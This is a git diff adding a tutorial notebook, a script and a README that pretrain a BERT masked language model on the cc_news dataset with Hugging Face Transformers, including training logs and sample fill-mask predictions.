+ ],
+ "source": [
+ "from itertools import chain\n",
+ "# Main data processing function that will concatenate all texts from our dataset and generate chunks of\n",
+ "# max_seq_length.\n",
+ "# grabbed from: https://github.com/huggingface/transformers/blob/main/examples/pytorch/language-modeling/run_mlm.py\n",
+ "def group_texts(examples):\n",
+ " # Concatenate all texts.\n",
+ " concatenated_examples = {k: list(chain(*examples[k])) for k in examples.keys()}\n",
+ " total_length = len(concatenated_examples[list(examples.keys())[0]])\n",
+ " # We drop the small remainder, we could add padding if the model supported it instead of this drop, you can\n",
+ " # customize this part to your needs.\n",
+ " if total_length >= max_length:\n",
+ " total_length = (total_length // max_length) * max_length\n",
+ " # Split by chunks of max_len.\n",
+ " result = {\n",
+ " k: [t[i : i + max_length] for i in range(0, total_length, max_length)]\n",
+ " for k, t in concatenated_examples.items()\n",
+ " }\n",
+ " return result\n",
+ "\n",
+ "# Note that with `batched=True`, this map processes 1,000 texts together, so group_texts throws away a\n",
+ "# remainder for each of those groups of 1,000 texts. You can adjust that batch_size here but a higher value\n",
+ "# might be slower to preprocess.\n",
+ "#\n",
+ "# To speed up this part, we use multiprocessing. See the documentation of the map method for more information:\n",
+ "# https://huggingface.co/docs/datasets/package_reference/main_classes.html#datasets.Dataset.map\n",
+ "if not truncate_longer_samples:\n",
+ " train_dataset = train_dataset.map(group_texts, batched=True,\n",
+ " desc=f\"Grouping texts in chunks of {max_length}\")\n",
+ " test_dataset = test_dataset.map(group_texts, batched=True,\n",
+ " desc=f\"Grouping texts in chunks of {max_length}\")\n",
+ " # convert them from lists to torch tensors\n",
+ " train_dataset.set_format(\"torch\")\n",
+ " test_dataset.set_format(\"torch\")"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": null,
+ "metadata": {
+ "colab": {
+ "background_save": true
+ },
+ "id": "dZ0oYZbk-SSh",
+ "outputId": "bf5b60bb-917a-42b9-eba8-531fa86df0f9"
+ },
+ "outputs": [
+ {
+ "data": {
+ "text/plain": [
+ "(643843, 71357)"
+ ]
+ },
+ "execution_count": null,
+ "metadata": {},
+ "output_type": "execute_result"
+ }
+ ],
+ "source": [
+ "len(train_dataset), len(test_dataset)"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": null,
+ "metadata": {
+ "colab": {
+ "background_save": true
+ },
+ "id": "Mslndt81024t"
+ },
+ "outputs": [],
+ "source": [
+ "# initialize the model with the config\n",
+ "model_config = BertConfig(vocab_size=vocab_size, max_position_embeddings=max_length)\n",
+ "model = BertForMaskedLM(config=model_config)"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": null,
+ "metadata": {
+ "colab": {
+ "background_save": true
+ },
+ "id": "kmFCTByJ1OI3"
+ },
+ "outputs": [],
+ "source": [
+ "# initialize the data collator, randomly masking 20% (default is 15%) of the tokens for the Masked Language\n",
+ "# Modeling (MLM) task\n",
+ "data_collator = DataCollatorForLanguageModeling(\n",
+ " tokenizer=tokenizer, mlm=True, mlm_probability=0.2\n",
+ ")"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": null,
+ "metadata": {
+ "colab": {
+ "background_save": true
+ },
+ "id": "IKJdnkAd1uYT",
+ "outputId": "81928d26-95d6-4805-a180-683af3a88a2e"
+ },
+ "outputs": [
+ {
+ "name": "stderr",
+ "output_type": "stream",
+ "text": [
+ "using `logging_steps` to initialize `eval_steps` to 1000\n",
+ "PyTorch: setting up devices\n",
+ "The default value for the training argument `--report_to` will change in v5 (from all installed integrations to none). In v5, you will need to use `--report_to all` to get the same behavior as now. You should start updating your code and make this info disappear :-).\n"
+ ]
+ }
+ ],
+ "source": [
+ "training_args = TrainingArguments(\n",
+ " output_dir=model_path, # output directory to where save model checkpoint\n",
+ " evaluation_strategy=\"steps\", # evaluate each `logging_steps` steps\n",
+ " overwrite_output_dir=True, \n",
+ " num_train_epochs=10, # number of training epochs, feel free to tweak\n",
+ " per_device_train_batch_size=10, # the training batch size, put it as high as your GPU memory fits\n",
+ " gradient_accumulation_steps=8, # accumulating the gradients before updating the weights\n",
+ " per_device_eval_batch_size=64, # evaluation batch size\n",
+ " logging_steps=1000, # evaluate, log and save model checkpoints every 1000 step\n",
+ " save_steps=1000,\n",
+ " # load_best_model_at_end=True, # whether to load the best model (in terms of loss) at the end of training\n",
+ " # save_total_limit=3, # whether you don't have much space so you let only 3 model weights saved in the disk\n",
+ ")"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": null,
+ "metadata": {
+ "colab": {
+ "background_save": true
+ },
+ "id": "OMKVmXZN2o7c"
+ },
+ "outputs": [],
+ "source": [
+ "# initialize the trainer and pass everything to it\n",
+ "trainer = Trainer(\n",
+ " model=model,\n",
+ " args=training_args,\n",
+ " data_collator=data_collator,\n",
+ " train_dataset=train_dataset,\n",
+ " eval_dataset=test_dataset,\n",
+ ")"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": 21,
+ "metadata": {
+ "id": "HYsgN58E2tFD",
+ "colab": {
+ "base_uri": "https://localhost:8080/",
+ "height": 1000
+ },
+ "outputId": "bd4a522a-4fd4-4d4f-fce6-a9fc0cb4cbef"
+ },
+ "outputs": [
+ {
+ "metadata": {
+ "tags": null
+ },
+ "name": "stderr",
+ "output_type": "stream",
+ "text": [
+ "The following columns in the training set don't have a corresponding argument in `BertForMaskedLM.forward` and have been ignored: special_tokens_mask. If special_tokens_mask are not expected by `BertForMaskedLM.forward`, you can safely ignore this message.\n",
+ "/usr/local/lib/python3.7/dist-packages/transformers/optimization.py:309: FutureWarning: This implementation of AdamW is deprecated and will be removed in a future version. Use the PyTorch implementation torch.optim.AdamW instead, or set `no_deprecation_warning=True` to disable this warning\n",
+ " FutureWarning,\n",
+ "***** Running training *****\n",
+ " Num examples = 643843\n",
+ " Num Epochs = 10\n",
+ " Instantaneous batch size per device = 10\n",
+ " Total train batch size (w. parallel, distributed & accumulation) = 80\n",
+ " Gradient Accumulation steps = 8\n",
+ " Total optimization steps = 80480\n"
+ ]
+ },
+ {
+ "data": {
+ "text/html": [
+ "\n",
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+ "
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+ " \n",
+ " \n",
+ " \n",
+ " Step \n",
+ " Training Loss \n",
+ " Validation Loss \n",
+ " \n",
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+ " \n",
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+ " [ 356/1115 07:19 < 15:40, 0.81 it/s]\n",
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+ },
+ "metadata": {},
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+ "tags": null
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+ "name": "stderr",
+ "output_type": "stream",
+ "text": [
+ "The following columns in the evaluation set don't have a corresponding argument in `BertForMaskedLM.forward` and have been ignored: special_tokens_mask. If special_tokens_mask are not expected by `BertForMaskedLM.forward`, you can safely ignore this message.\n",
+ "***** Running Evaluation *****\n",
+ " Num examples = 71357\n",
+ " Batch size = 64\n",
+ "Saving model checkpoint to pretrained-bert/checkpoint-1000\n",
+ "Configuration saved in pretrained-bert/checkpoint-1000/config.json\n",
+ "Model weights saved in pretrained-bert/checkpoint-1000/pytorch_model.bin\n",
+ "The following columns in the evaluation set don't have a corresponding argument in `BertForMaskedLM.forward` and have been ignored: special_tokens_mask. If special_tokens_mask are not expected by `BertForMaskedLM.forward`, you can safely ignore this message.\n",
+ "***** Running Evaluation *****\n",
+ " Num examples = 71357\n",
+ " Batch size = 64\n",
+ "Saving model checkpoint to pretrained-bert/checkpoint-2000\n",
+ "Configuration saved in pretrained-bert/checkpoint-2000/config.json\n",
+ "Model weights saved in pretrained-bert/checkpoint-2000/pytorch_model.bin\n",
+ "The following columns in the evaluation set don't have a corresponding argument in `BertForMaskedLM.forward` and have been ignored: special_tokens_mask. If special_tokens_mask are not expected by `BertForMaskedLM.forward`, you can safely ignore this message.\n",
+ "***** Running Evaluation *****\n",
+ " Num examples = 71357\n",
+ " Batch size = 64\n",
+ "Saving model checkpoint to pretrained-bert/checkpoint-3000\n",
+ "Configuration saved in pretrained-bert/checkpoint-3000/config.json\n",
+ "Model weights saved in pretrained-bert/checkpoint-3000/pytorch_model.bin\n",
+ "The following columns in the evaluation set don't have a corresponding argument in `BertForMaskedLM.forward` and have been ignored: special_tokens_mask. If special_tokens_mask are not expected by `BertForMaskedLM.forward`, you can safely ignore this message.\n",
+ "***** Running Evaluation *****\n",
+ " Num examples = 71357\n",
+ " Batch size = 64\n",
+ "Saving model checkpoint to pretrained-bert/checkpoint-4000\n",
+ "Configuration saved in pretrained-bert/checkpoint-4000/config.json\n",
+ "Model weights saved in pretrained-bert/checkpoint-4000/pytorch_model.bin\n",
+ "The following columns in the evaluation set don't have a corresponding argument in `BertForMaskedLM.forward` and have been ignored: special_tokens_mask. If special_tokens_mask are not expected by `BertForMaskedLM.forward`, you can safely ignore this message.\n",
+ "***** Running Evaluation *****\n",
+ " Num examples = 71357\n",
+ " Batch size = 64\n",
+ "Saving model checkpoint to pretrained-bert/checkpoint-5000\n",
+ "Configuration saved in pretrained-bert/checkpoint-5000/config.json\n",
+ "Model weights saved in pretrained-bert/checkpoint-5000/pytorch_model.bin\n",
+ "The following columns in the evaluation set don't have a corresponding argument in `BertForMaskedLM.forward` and have been ignored: special_tokens_mask. If special_tokens_mask are not expected by `BertForMaskedLM.forward`, you can safely ignore this message.\n",
+ "***** Running Evaluation *****\n",
+ " Num examples = 71357\n",
+ " Batch size = 64\n"
+ ]
+ },
+ {
+ "output_type": "display_data",
+ "data": {
+ "text/plain": [
+ ""
+ ],
+ "text/html": [
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+ "
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+ " \n",
+ " \n",
+ " \n",
+ " Step \n",
+ " Training Loss \n",
+ " Validation Loss \n",
+ " \n",
+ " \n",
+ " \n",
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+ " 1000 \n",
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+ " \n",
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+ " \n",
+ " 6000 \n",
+ " 6.298900 \n",
+ " 6.275374 \n",
+ " \n",
+ " \n",
+ "
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+ ]
+ },
+ "metadata": {}
+ },
+ {
+ "output_type": "stream",
+ "name": "stderr",
+ "text": [
+ "Saving model checkpoint to pretrained-bert/checkpoint-6000\n",
+ "Configuration saved in pretrained-bert/checkpoint-6000/config.json\n",
+ "Model weights saved in pretrained-bert/checkpoint-6000/pytorch_model.bin\n"
+ ]
+ },
+ {
+ "output_type": "error",
+ "ename": "KeyboardInterrupt",
+ "evalue": "ignored",
+ "traceback": [
+ "\u001b[0;31m---------------------------------------------------------------------------\u001b[0m",
+ "\u001b[0;31mKeyboardInterrupt\u001b[0m Traceback (most recent call last)",
+ "\u001b[0;32m\u001b[0m in \u001b[0;36m\u001b[0;34m()\u001b[0m\n\u001b[1;32m 1\u001b[0m \u001b[0;31m# train the model\u001b[0m\u001b[0;34m\u001b[0m\u001b[0;34m\u001b[0m\u001b[0;34m\u001b[0m\u001b[0m\n\u001b[0;32m----> 2\u001b[0;31m \u001b[0mtrainer\u001b[0m\u001b[0;34m.\u001b[0m\u001b[0mtrain\u001b[0m\u001b[0;34m(\u001b[0m\u001b[0;34m)\u001b[0m\u001b[0;34m\u001b[0m\u001b[0;34m\u001b[0m\u001b[0m\n\u001b[0m",
+ "\u001b[0;32m/usr/local/lib/python3.7/dist-packages/transformers/trainer.py\u001b[0m in \u001b[0;36mtrain\u001b[0;34m(self, resume_from_checkpoint, trial, ignore_keys_for_eval, **kwargs)\u001b[0m\n\u001b[1;32m 1420\u001b[0m \u001b[0mtr_loss_step\u001b[0m \u001b[0;34m=\u001b[0m \u001b[0mself\u001b[0m\u001b[0;34m.\u001b[0m\u001b[0mtraining_step\u001b[0m\u001b[0;34m(\u001b[0m\u001b[0mmodel\u001b[0m\u001b[0;34m,\u001b[0m \u001b[0minputs\u001b[0m\u001b[0;34m)\u001b[0m\u001b[0;34m\u001b[0m\u001b[0;34m\u001b[0m\u001b[0m\n\u001b[1;32m 1421\u001b[0m \u001b[0;32melse\u001b[0m\u001b[0;34m:\u001b[0m\u001b[0;34m\u001b[0m\u001b[0;34m\u001b[0m\u001b[0m\n\u001b[0;32m-> 1422\u001b[0;31m \u001b[0mtr_loss_step\u001b[0m \u001b[0;34m=\u001b[0m \u001b[0mself\u001b[0m\u001b[0;34m.\u001b[0m\u001b[0mtraining_step\u001b[0m\u001b[0;34m(\u001b[0m\u001b[0mmodel\u001b[0m\u001b[0;34m,\u001b[0m \u001b[0minputs\u001b[0m\u001b[0;34m)\u001b[0m\u001b[0;34m\u001b[0m\u001b[0;34m\u001b[0m\u001b[0m\n\u001b[0m\u001b[1;32m 1423\u001b[0m \u001b[0;34m\u001b[0m\u001b[0m\n\u001b[1;32m 1424\u001b[0m if (\n",
+ "\u001b[0;32m/usr/local/lib/python3.7/dist-packages/transformers/trainer.py\u001b[0m in \u001b[0;36mtraining_step\u001b[0;34m(self, model, inputs)\u001b[0m\n\u001b[1;32m 2027\u001b[0m \u001b[0mloss\u001b[0m \u001b[0;34m=\u001b[0m \u001b[0mself\u001b[0m\u001b[0;34m.\u001b[0m\u001b[0mdeepspeed\u001b[0m\u001b[0;34m.\u001b[0m\u001b[0mbackward\u001b[0m\u001b[0;34m(\u001b[0m\u001b[0mloss\u001b[0m\u001b[0;34m)\u001b[0m\u001b[0;34m\u001b[0m\u001b[0;34m\u001b[0m\u001b[0m\n\u001b[1;32m 2028\u001b[0m \u001b[0;32melse\u001b[0m\u001b[0;34m:\u001b[0m\u001b[0;34m\u001b[0m\u001b[0;34m\u001b[0m\u001b[0m\n\u001b[0;32m-> 2029\u001b[0;31m \u001b[0mloss\u001b[0m\u001b[0;34m.\u001b[0m\u001b[0mbackward\u001b[0m\u001b[0;34m(\u001b[0m\u001b[0;34m)\u001b[0m\u001b[0;34m\u001b[0m\u001b[0;34m\u001b[0m\u001b[0m\n\u001b[0m\u001b[1;32m 2030\u001b[0m \u001b[0;34m\u001b[0m\u001b[0m\n\u001b[1;32m 2031\u001b[0m \u001b[0;32mreturn\u001b[0m \u001b[0mloss\u001b[0m\u001b[0;34m.\u001b[0m\u001b[0mdetach\u001b[0m\u001b[0;34m(\u001b[0m\u001b[0;34m)\u001b[0m\u001b[0;34m\u001b[0m\u001b[0;34m\u001b[0m\u001b[0m\n",
+ "\u001b[0;32m/usr/local/lib/python3.7/dist-packages/torch/_tensor.py\u001b[0m in \u001b[0;36mbackward\u001b[0;34m(self, gradient, retain_graph, create_graph, inputs)\u001b[0m\n\u001b[1;32m 361\u001b[0m \u001b[0mcreate_graph\u001b[0m\u001b[0;34m=\u001b[0m\u001b[0mcreate_graph\u001b[0m\u001b[0;34m,\u001b[0m\u001b[0;34m\u001b[0m\u001b[0;34m\u001b[0m\u001b[0m\n\u001b[1;32m 362\u001b[0m inputs=inputs)\n\u001b[0;32m--> 363\u001b[0;31m \u001b[0mtorch\u001b[0m\u001b[0;34m.\u001b[0m\u001b[0mautograd\u001b[0m\u001b[0;34m.\u001b[0m\u001b[0mbackward\u001b[0m\u001b[0;34m(\u001b[0m\u001b[0mself\u001b[0m\u001b[0;34m,\u001b[0m \u001b[0mgradient\u001b[0m\u001b[0;34m,\u001b[0m \u001b[0mretain_graph\u001b[0m\u001b[0;34m,\u001b[0m \u001b[0mcreate_graph\u001b[0m\u001b[0;34m,\u001b[0m \u001b[0minputs\u001b[0m\u001b[0;34m=\u001b[0m\u001b[0minputs\u001b[0m\u001b[0;34m)\u001b[0m\u001b[0;34m\u001b[0m\u001b[0;34m\u001b[0m\u001b[0m\n\u001b[0m\u001b[1;32m 364\u001b[0m \u001b[0;34m\u001b[0m\u001b[0m\n\u001b[1;32m 365\u001b[0m \u001b[0;32mdef\u001b[0m \u001b[0mregister_hook\u001b[0m\u001b[0;34m(\u001b[0m\u001b[0mself\u001b[0m\u001b[0;34m,\u001b[0m \u001b[0mhook\u001b[0m\u001b[0;34m)\u001b[0m\u001b[0;34m:\u001b[0m\u001b[0;34m\u001b[0m\u001b[0;34m\u001b[0m\u001b[0m\n",
+ "\u001b[0;32m/usr/local/lib/python3.7/dist-packages/torch/autograd/__init__.py\u001b[0m in \u001b[0;36mbackward\u001b[0;34m(tensors, grad_tensors, retain_graph, create_graph, grad_variables, inputs)\u001b[0m\n\u001b[1;32m 173\u001b[0m Variable._execution_engine.run_backward( # Calls into the C++ engine to run the backward pass\n\u001b[1;32m 174\u001b[0m \u001b[0mtensors\u001b[0m\u001b[0;34m,\u001b[0m \u001b[0mgrad_tensors_\u001b[0m\u001b[0;34m,\u001b[0m \u001b[0mretain_graph\u001b[0m\u001b[0;34m,\u001b[0m \u001b[0mcreate_graph\u001b[0m\u001b[0;34m,\u001b[0m \u001b[0minputs\u001b[0m\u001b[0;34m,\u001b[0m\u001b[0;34m\u001b[0m\u001b[0;34m\u001b[0m\u001b[0m\n\u001b[0;32m--> 175\u001b[0;31m allow_unreachable=True, accumulate_grad=True) # Calls into the C++ engine to run the backward pass\n\u001b[0m\u001b[1;32m 176\u001b[0m \u001b[0;34m\u001b[0m\u001b[0m\n\u001b[1;32m 177\u001b[0m def grad(\n",
+ "\u001b[0;31mKeyboardInterrupt\u001b[0m: "
+ ]
+ }
+ ],
+ "source": [
+ "# train the model\n",
+ "trainer.train()"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": 25,
+ "metadata": {
+ "id": "dUZSRAxV2vp-",
+ "colab": {
+ "base_uri": "https://localhost:8080/"
+ },
+ "outputId": "9aac4c86-199d-4ba3-9b79-614ba8c97fe1"
+ },
+ "outputs": [
+ {
+ "output_type": "stream",
+ "name": "stderr",
+ "text": [
+ "loading configuration file pretrained-bert/checkpoint-6000/config.json\n",
+ "Model config BertConfig {\n",
+ " \"architectures\": [\n",
+ " \"BertForMaskedLM\"\n",
+ " ],\n",
+ " \"attention_probs_dropout_prob\": 0.1,\n",
+ " \"classifier_dropout\": null,\n",
+ " \"hidden_act\": \"gelu\",\n",
+ " \"hidden_dropout_prob\": 0.1,\n",
+ " \"hidden_size\": 768,\n",
+ " \"initializer_range\": 0.02,\n",
+ " \"intermediate_size\": 3072,\n",
+ " \"layer_norm_eps\": 1e-12,\n",
+ " \"max_position_embeddings\": 512,\n",
+ " \"model_type\": \"bert\",\n",
+ " \"num_attention_heads\": 12,\n",
+ " \"num_hidden_layers\": 12,\n",
+ " \"pad_token_id\": 0,\n",
+ " \"position_embedding_type\": \"absolute\",\n",
+ " \"torch_dtype\": \"float32\",\n",
+ " \"transformers_version\": \"4.18.0\",\n",
+ " \"type_vocab_size\": 2,\n",
+ " \"use_cache\": true,\n",
+ " \"vocab_size\": 30522\n",
+ "}\n",
+ "\n",
+ "loading weights file pretrained-bert/checkpoint-6000/pytorch_model.bin\n",
+ "All model checkpoint weights were used when initializing BertForMaskedLM.\n",
+ "\n",
+ "All the weights of BertForMaskedLM were initialized from the model checkpoint at pretrained-bert/checkpoint-6000.\n",
+ "If your task is similar to the task the model of the checkpoint was trained on, you can already use BertForMaskedLM for predictions without further training.\n",
+ "Didn't find file pretrained-bert/tokenizer.json. We won't load it.\n",
+ "Didn't find file pretrained-bert/added_tokens.json. We won't load it.\n",
+ "Didn't find file pretrained-bert/special_tokens_map.json. We won't load it.\n",
+ "Didn't find file pretrained-bert/tokenizer_config.json. We won't load it.\n",
+ "loading file pretrained-bert/vocab.txt\n",
+ "loading file None\n",
+ "loading file None\n",
+ "loading file None\n",
+ "loading file None\n",
+ "loading configuration file pretrained-bert/config.json\n",
+ "Model config BertConfig {\n",
+ " \"_name_or_path\": \"pretrained-bert\",\n",
+ " \"attention_probs_dropout_prob\": 0.1,\n",
+ " \"classifier_dropout\": null,\n",
+ " \"cls_token\": \"[CLS]\",\n",
+ " \"do_lower_case\": true,\n",
+ " \"hidden_act\": \"gelu\",\n",
+ " \"hidden_dropout_prob\": 0.1,\n",
+ " \"hidden_size\": 768,\n",
+ " \"initializer_range\": 0.02,\n",
+ " \"intermediate_size\": 3072,\n",
+ " \"layer_norm_eps\": 1e-12,\n",
+ " \"mask_token\": \"[MASK]\",\n",
+ " \"max_len\": 512,\n",
+ " \"max_position_embeddings\": 512,\n",
+ " \"model_max_length\": 512,\n",
+ " \"model_type\": \"bert\",\n",
+ " \"num_attention_heads\": 12,\n",
+ " \"num_hidden_layers\": 12,\n",
+ " \"pad_token\": \"[PAD]\",\n",
+ " \"pad_token_id\": 0,\n",
+ " \"position_embedding_type\": \"absolute\",\n",
+ " \"sep_token\": \"[SEP]\",\n",
+ " \"transformers_version\": \"4.18.0\",\n",
+ " \"type_vocab_size\": 2,\n",
+ " \"unk_token\": \"[UNK]\",\n",
+ " \"use_cache\": true,\n",
+ " \"vocab_size\": 30522\n",
+ "}\n",
+ "\n",
+ "loading configuration file pretrained-bert/config.json\n",
+ "Model config BertConfig {\n",
+ " \"_name_or_path\": \"pretrained-bert\",\n",
+ " \"attention_probs_dropout_prob\": 0.1,\n",
+ " \"classifier_dropout\": null,\n",
+ " \"cls_token\": \"[CLS]\",\n",
+ " \"do_lower_case\": true,\n",
+ " \"hidden_act\": \"gelu\",\n",
+ " \"hidden_dropout_prob\": 0.1,\n",
+ " \"hidden_size\": 768,\n",
+ " \"initializer_range\": 0.02,\n",
+ " \"intermediate_size\": 3072,\n",
+ " \"layer_norm_eps\": 1e-12,\n",
+ " \"mask_token\": \"[MASK]\",\n",
+ " \"max_len\": 512,\n",
+ " \"max_position_embeddings\": 512,\n",
+ " \"model_max_length\": 512,\n",
+ " \"model_type\": \"bert\",\n",
+ " \"num_attention_heads\": 12,\n",
+ " \"num_hidden_layers\": 12,\n",
+ " \"pad_token\": \"[PAD]\",\n",
+ " \"pad_token_id\": 0,\n",
+ " \"position_embedding_type\": \"absolute\",\n",
+ " \"sep_token\": \"[SEP]\",\n",
+ " \"transformers_version\": \"4.18.0\",\n",
+ " \"type_vocab_size\": 2,\n",
+ " \"unk_token\": \"[UNK]\",\n",
+ " \"use_cache\": true,\n",
+ " \"vocab_size\": 30522\n",
+ "}\n",
+ "\n"
+ ]
+ }
+ ],
+ "source": [
+ "# when you load from pretrained\n",
+ "model = BertForMaskedLM.from_pretrained(os.path.join(model_path, \"checkpoint-6000\"))\n",
+ "tokenizer = BertTokenizerFast.from_pretrained(model_path)\n",
+ "# or simply use pipeline\n",
+ "fill_mask = pipeline(\"fill-mask\", model=model, tokenizer=tokenizer)"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": 27,
+ "metadata": {
+ "colab": {
+ "base_uri": "https://localhost:8080/"
+ },
+ "id": "vJO-1w15ARHs",
+ "outputId": "346b2c7b-d65b-44f1-9fca-e3493435aca2"
+ },
+ "outputs": [
+ {
+ "output_type": "stream",
+ "name": "stdout",
+ "text": [
+ "{'score': 0.06537885963916779, 'token': 1556, 'token_str': 'the', 'sequence': 'it is known that the is the capital of germany'}\n",
+ "{'score': 0.036817438900470734, 'token': 20, 'token_str': '.', 'sequence': 'it is known that. is the capital of germany'}\n",
+ "{'score': 0.0335884727537632, 'token': 18, 'token_str': ',', 'sequence': 'it is known that, is the capital of germany'}\n",
+ "{'score': 0.027838902547955513, 'token': 1573, 'token_str': 'of', 'sequence': 'it is known that of is the capital of germany'}\n",
+ "{'score': 0.027804739773273468, 'token': 1609, 'token_str': 'is', 'sequence': 'it is known that is is the capital of germany'}\n"
+ ]
+ }
+ ],
+ "source": [
+ "# perform predictions\n",
+ "example = \"It is known that [MASK] is the capital of Germany\"\n",
+ "for prediction in fill_mask(example):\n",
+ " print(prediction)"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "source": [
+ "# perform predictions\n",
+ "examples = [\n",
+ " \"Today's most trending hashtags on [MASK] is Donald Trump\",\n",
+ " \"The [MASK] was cloudy yesterday, but today it's rainy.\",\n",
+ "]\n",
+ "for example in examples:\n",
+ " for prediction in fill_mask(example):\n",
+ " print(f\"{prediction['sequence']}, confidence: {prediction['score']}\")\n",
+ " print(\"=\"*50)"
+ ],
+ "metadata": {
+ "colab": {
+ "base_uri": "https://localhost:8080/"
+ },
+ "id": "8ROoCqpssCb9",
+ "outputId": "cb795c9c-b77d-42ed-c779-0cf963fcddd2"
+ },
+ "execution_count": 26,
+ "outputs": [
+ {
+ "output_type": "stream",
+ "name": "stdout",
+ "text": [
+ "today's most trending hashtags on trump is donald trump, confidence: 0.05097166821360588\n",
+ "today's most trending hashtags on. is donald trump, confidence: 0.04177526384592056\n",
+ "today's most trending hashtags on'is donald trump, confidence: 0.040809836238622665\n",
+ "today's most trending hashtags on the is donald trump, confidence: 0.03832641988992691\n",
+ "today's most trending hashtags on, is donald trump, confidence: 0.024022724479436874\n",
+ "==================================================\n",
+ "the. was cloudy yesterday, but today it's rainy., confidence: 0.0627809464931488\n",
+ "the the was cloudy yesterday, but today it's rainy., confidence: 0.0463297963142395\n",
+ "the, was cloudy yesterday, but today it's rainy., confidence: 0.03323638439178467\n",
+ "the to was cloudy yesterday, but today it's rainy., confidence: 0.025685036554932594\n",
+ "the'was cloudy yesterday, but today it's rainy., confidence: 0.024147875607013702\n",
+ "==================================================\n"
+ ]
+ }
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": 28,
+ "metadata": {
+ "id": "gGkOvmFaYkF2",
+ "colab": {
+ "base_uri": "https://localhost:8080/"
+ },
+ "outputId": "8deff2cf-85dd-42ef-eb1d-4a03a78cc9fc"
+ },
+ "outputs": [
+ {
+ "output_type": "stream",
+ "name": "stdout",
+ "text": [
+ "Fri Jun 3 08:32:51 2022 \n",
+ "+-----------------------------------------------------------------------------+\n",
+ "| NVIDIA-SMI 460.32.03 Driver Version: 460.32.03 CUDA Version: 11.2 |\n",
+ "|-------------------------------+----------------------+----------------------+\n",
+ "| GPU Name Persistence-M| Bus-Id Disp.A | Volatile Uncorr. ECC |\n",
+ "| Fan Temp Perf Pwr:Usage/Cap| Memory-Usage | GPU-Util Compute M. |\n",
+ "| | | MIG M. |\n",
+ "|===============================+======================+======================|\n",
+ "| 0 Tesla P100-PCIE... Off | 00000000:00:04.0 Off | 0 |\n",
+ "| N/A 52C P0 38W / 250W | 14725MiB / 16280MiB | 0% Default |\n",
+ "| | | N/A |\n",
+ "+-------------------------------+----------------------+----------------------+\n",
+ " \n",
+ "+-----------------------------------------------------------------------------+\n",
+ "| Processes: |\n",
+ "| GPU GI CI PID Type Process name GPU Memory |\n",
+ "| ID ID Usage |\n",
+ "|=============================================================================|\n",
+ "+-----------------------------------------------------------------------------+\n"
+ ]
+ }
+ ],
+ "source": [
+ "!nvidia-smi"
+ ]
+ }
+ ],
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diff --git a/machine-learning/nlp/pretraining-bert/README.md b/machine-learning/nlp/pretraining-bert/README.md
new file mode 100644
index 00000000..e8040d44
--- /dev/null
+++ b/machine-learning/nlp/pretraining-bert/README.md
@@ -0,0 +1,3 @@
+# [How to Pretrain BERT using Transformers in Python](https://www.thepythoncode.com/article/pretraining-bert-huggingface-transformers-in-python)
+To run this:
+- `pip3 install -r requirements.txt`
diff --git a/machine-learning/nlp/pretraining-bert/pretrainingbert.py b/machine-learning/nlp/pretraining-bert/pretrainingbert.py
new file mode 100644
index 00000000..0e60ca68
--- /dev/null
+++ b/machine-learning/nlp/pretraining-bert/pretrainingbert.py
@@ -0,0 +1,223 @@
+# -*- coding: utf-8 -*-
+"""PretrainingBERT_PythonCodeTutorial.ipynb
+
+Automatically generated by Colaboratory.
+
+Original file is located at
+ https://colab.research.google.com/drive/1An1VNpKKMRVrwcdQQNSe7Omh_fl2Gj-2
+"""
+
+!pip install datasets transformers==4.18.0 sentencepiece
+
+from datasets import *
+from transformers import *
+from tokenizers import *
+import os
+import json
+
+# download and prepare cc_news dataset
+dataset = load_dataset("cc_news", split="train")
+
+# split the dataset into training (90%) and testing (10%)
+d = dataset.train_test_split(test_size=0.1)
+d["train"], d["test"]
+
+for t in d["train"]["text"][:3]:
+ print(t)
+ print("="*50)
+
+# if you have your custom dataset
+# dataset = LineByLineTextDataset(
+# tokenizer=tokenizer,
+# file_path="path/to/data.txt",
+# block_size=64,
+# )
+
+# or if you have huge custom dataset separated into files
+# load the splitted files
+# files = ["train1.txt", "train2.txt"] # train3.txt, etc.
+# dataset = load_dataset("text", data_files=files, split="train")
+
+# if you want to train the tokenizer from scratch (especially if you have custom
+# dataset loaded as datasets object), then run this cell to save it as files
+# but if you already have your custom data as text files, there is no point using this
+def dataset_to_text(dataset, output_filename="data.txt"):
+ """Utility function to save dataset text to disk,
+ useful for using the texts to train the tokenizer
+ (as the tokenizer accepts files)"""
+ with open(output_filename, "w") as f:
+ for t in dataset["text"]:
+ print(t, file=f)
+
+# save the training set to train.txt
+dataset_to_text(d["train"], "train.txt")
+# save the testing set to test.txt
+dataset_to_text(d["test"], "test.txt")
+
+special_tokens = [
+ "[PAD]", "[UNK]", "[CLS]", "[SEP]", "[MASK]", "", ""
+]
+# if you want to train the tokenizer on both sets
+# files = ["train.txt", "test.txt"]
+# training the tokenizer on the training set
+files = ["train.txt"]
+# 30,522 vocab is BERT's default vocab size, feel free to tweak
+vocab_size = 30_522
+# maximum sequence length, lowering will result to faster training (when increasing batch size)
+max_length = 512
+# whether to truncate
+truncate_longer_samples = False
+
+# initialize the WordPiece tokenizer
+tokenizer = BertWordPieceTokenizer()
+# train the tokenizer
+tokenizer.train(files=files, vocab_size=vocab_size, special_tokens=special_tokens)
+# enable truncation up to the maximum 512 tokens
+tokenizer.enable_truncation(max_length=max_length)
+
+model_path = "pretrained-bert"
+# make the directory if not already there
+if not os.path.isdir(model_path):
+ os.mkdir(model_path)
+
+# save the tokenizer
+tokenizer.save_model(model_path)
+
+# dumping some of the tokenizer config to config file,
+# including special tokens, whether to lower case and the maximum sequence length
+with open(os.path.join(model_path, "config.json"), "w") as f:
+ tokenizer_cfg = {
+ "do_lower_case": True,
+ "unk_token": "[UNK]",
+ "sep_token": "[SEP]",
+ "pad_token": "[PAD]",
+ "cls_token": "[CLS]",
+ "mask_token": "[MASK]",
+ "model_max_length": max_length,
+ "max_len": max_length,
+ }
+ json.dump(tokenizer_cfg, f)
+
+# when the tokenizer is trained and configured, load it as BertTokenizerFast
